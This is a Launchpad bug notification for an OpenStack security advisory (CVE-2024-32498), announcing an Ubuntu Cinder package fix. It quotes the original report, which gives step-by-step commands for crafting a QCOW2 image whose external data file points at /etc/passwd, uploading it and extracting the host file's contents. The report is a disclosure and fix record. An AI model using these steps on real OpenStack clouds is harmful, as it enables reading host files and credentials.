[Bug 2059809] Re: [OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)

[James Page]

This bug was fixed in the package cinder - 2:22.1.1-0ubuntu1.3~cloud0
---------------

 cinder (2:22.1.1-0ubuntu1.3~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498.patch: check for external qcow2 data
       file in cinder/image/image_utils.py,
       cinder/tests/unit/test_image_utils.py.
     - debian/control: added qemu-utils to Build-Depends so qemu-img is
       available for new tests.
     - CVE-2024-32498


** Changed in: cloud-archive/antelope
       Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
OpenStack, which is subscribed to Ubuntu Cloud Archive.
https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Released
Status in Ubuntu Cloud Archive antelope series:
  Fix Released
Status in Ubuntu Cloud Archive bobcat series:
  Fix Released
Status in Ubuntu Cloud Archive caracal series:
  Fix Released
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Released
Status in Glance:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/2059809/+subscriptions